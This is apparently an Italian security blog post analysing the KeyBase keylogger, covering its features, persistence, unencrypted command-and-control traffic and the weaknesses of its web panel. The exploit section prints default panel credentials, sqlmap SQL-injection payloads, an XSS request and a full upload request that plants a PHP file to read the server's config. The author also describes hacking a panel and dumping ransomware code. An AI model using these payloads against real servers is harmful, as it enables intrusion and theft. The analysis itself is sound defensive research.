Back to Posts

Share this post

KeyBase

Posted by: voidsec

Reading Time: 6 minutes

Da un po’ di tempo a questa parte, un malware conosciuto col nome di KeyBase, è ricomparso nei log di alcuni dei sensori che monitoro. Distribuito durante Febbraio 2015 nella versione 1.0 e acquistabile per circa 50$, è rimasto attivo fino a Maggio per poi sparire dalla rete. Da Novembre è tornato attivo (v1.5) con migliaia d’infezioni.

Keybase è un malware dalle limitate capacità appartenente alla famiglia dei keylogger e info-stealer.

You can read this article in English.

Malware Overview

Keybase è scritto in C# e tra le sue funzionalità possiamo trovare:

  • Keylogging
  • HotLogging (Keylogging di specifiche finestre es. paypal, account bancari ecc.)
  • Password Stealer
    • Browsers (Chrome, FIrefox, Internet Explorer, Opera, Safari)
    • Client Email (Outlook, Thunderbird, Incredimail, NetScape, Eudora)
    • Altri Software (FileZilla, JDownloader, IDM, Imvu, PalTalk)
  • ScreenShot dell’intero schermo o di finestre specifiche
  • Copiare il contenuto della ClipBoard
  • Capacità di bloccare la visita di determinati siti web
  • Visualizzare un sito web all’avvio
  • Auto-distruzione una volta raggiunta una specifica data

keybase

Code Analysis

Il codice non presenta particolari difficoltà di lettura in quanto non offuscato e le informazioni del server di Comando e Controllo sono “hardcoded” all’interno del codice sorgente.embed

È possibile localizzare una chiave, aggiunta alle risorse del programma una volta compilato, che appare univoca per ogni build effettuata sulla stessa macchina.key

Interessante notare come l’autore abbia adottato alcune semplice tecniche di offuscamento per le stringhe utilizzate all’interno del codice.encryptedPrincipalmente operazioni di “replace” di caratteri e “reverse” di stringhe, in aggiunta a queste operazioni, tutte le chiamate alle API di Microsoft Windows sono cifrate.

La persitenza del codice è ottenuta copiando l’eseguibile nella cartella di Avvio Automatico sotto il nome di Important.exe (visibile nel primo blocco di codice). Questa informazione non può essere modificata dal builder ed è impostata staticamente nel codice sorgente. Viene inoltre settata una chiave all’interno del registro di sistema:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run {32 byte}:{percorso dell’eseguibile}

Command and Control & Web Panel

La parte più interessante, sopratutto per la scarsa qualità del codice, è il pannello di controllo web.

Tutte le comunicazioni con il server remoto avvengono tramite semplici richieste HTTP e non sono cifrate in alcun modo.

Di default KeyBase notifica l’avvenuta installazione al server remoto:kb_httpDa notare l’assenza di alcuni header HTTP.

L’interfaccia Web permette il controllo delle informazioni delle macchine infette come visibile nella seguente immagine:dashboard

Exploit

Le credenziali di default per l’accesso al web panel sono: Admin:Admin, KeyBase:Logs123!

Analizzando il codice sorgente è possibile identificare svariate vulnerabilità:postIl file post.php è vulnerabile a SQL Injection (Error & Blind Based) e Cross Site Scripting (XSS) in quanto i parametri “machinename, windowtitle, keystrokestyped, machinetime” non vengono filtrati in alcun modo.

Sqlmap:

Parameter: machinename (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: machinename=1' AND (SELECT 5650 FROM(SELECT COUNT(*),CONCAT(0x71706b6a71,(SELECT (ELT(5650=5650,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'oAZi'='oAZi&windowtitle=a&keystrokestyped=a&machinetime=a&type=keystrokes
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: machinename=1' AND (SELECT * FROM (SELECT(SLEEP(5)))GRmL) AND 'mEfO'='mEfO&windowtitle=a&keystrokestyped=a&machinetime=a&type=keystrokes

xss

XSS:

GET /keybase/post.php?keystrokestyped=a'"<script>alert('VoidSec')</script>&machinename=1&machinetime=a&type=keystrokes&windowtitle=a

Il cookie di sessione viene settato senza la flag ‘HTTPOnly’ permettendo quindi l’hijacking della sessione attraverso la precedente vulnerabilità XSS.

Di default la directory “/image/Images”, destinazione degli screenshot effettuati dal malware non richiede autenticazione, permettendo a chiunque la visione delle immagini memorizzate sul server.

Il file upload.php, responsabile dell’upload degli screenshot, non effettua nessun controllo sul tipo di file caricato, permettendo di fatto l’upload di file PHP con cui è possibile compromettere l’intero server di C&C.

È inoltre possibile notare come non venga effettuato il ‘renaming’ dei file caricati, poiché la funzione predisposta a tale scopo non viene mai utilizzata.uploadInviando tale richiesta è possibile caricare un file php che consente di leggere username e password per l’accesso al pannello di controllo.

Exploit:

POST /image/upload.php HTTP/1.1
Host: $$VULNERABLE_HOST$$
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------34593197730004
Content-Length: 394
-----------------------------34593197730004 Content-Disposition: form-data; name="file"; filename="NUBO_12_21_16_48_4.jpg.php" Content-Type: application/octet-stream
<.?php $file = '../../config.php'; echo file_get_contents($file); ?.>
-----------------------------34593197730004 Content-Disposition: form-data; name="submit"Upload -----------------------------34593197730004--

Malware Distribution & Targets

KeyBase, è utilizzato per infettare dispositivi in oltre 41 stati, nello specifico: Bosnia and Herzegovina, India, Iran, Jordan, Philippines, Serbia, Thailand, United States of America, Viet Nam.

La sua incidenza diventa rilevante quando parliamo dell’Iran che da solo possiede il 45% dei dispositivi infetti.

country-kb

Alcune installazioni riportano informazioni di macchine utilizzate nei seguenti settori: stabilimenti industriali, high tech, studi medici privati, educazione superiore, retail industries, enti governativi oltre che ai tradizionali computer di utenze domestiche.court

Tra la mole d’informazioni raccolte, durante l’hacking di un pannello web, sono venuto in possesso di alcuni file riguardanti la creazione di un nuovo Ransomware, di cui ho “dumpato” tutto il codice sorgente del back-end. Al momento sto tenendo monitorato il server in questione cercando di recuperare dei sample o il codice sorgente dell’eseguibile.ransom

Ma questa è un’altra storia….

Conclusioni

Per concludere, nonostante KeyBase, manchi di alcune opzioni (Download & Execute, Update) e risulti poco sofisticato (mancanza di comunicazioni crittografate e offuscamento) considerando il panorama attuale dei malware, grazie alla sua facilità di utilizzo, al basso detection rateo e alla sua semplicità nel design, lo rende utilizzabile per successivi sviluppi e/o passaggi a un crypter, permettendo così l’evasion dei più comuni prodotti Anti-Virus.

di VoidSec

Back to Posts